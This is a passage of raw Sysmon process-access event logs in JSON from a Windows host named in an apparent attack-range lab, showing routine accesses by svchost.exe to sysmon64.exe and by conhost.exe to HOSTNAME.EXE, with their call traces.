11:56:15.665","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:16","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:15","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4946,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:15.665\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:15.665","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:16","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:15","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4947,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:15.665\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:15.665","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:16","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:15","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4948,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:15.665\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:15.665","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:16","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:15","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4949,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:15.665\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:15.665","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:16","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:15","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4950,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:15.665\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:15.665","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:16","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:15","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4951,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:15.665\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:15.665","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:16","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:15","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4952,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:15.665\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:15.665","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:16","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:15","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4953,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:15.665\r\nSourceProcessGUID: {90617006-415E-5F2D-0000-0010E0580700}\r\nSourceProcessId: 1276\r\nSourceThreadId: 4304\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-415F-5F2D-0000-0010869A0700}\r\nTargetProcessId: 3340\r\nTargetImage: C:\\Windows\\system32\\HOSTNAME.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:15.665","SourceProcessGUID":"{90617006-415E-5F2D-0000-0010E0580700}","SourceProcessId":"1276","SourceThreadId":"4304","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-415F-5F2D-0000-0010869A0700}","TargetProcessId":"3340","TargetImage":"C:\\Windows\\system32\\HOSTNAME.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:16","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 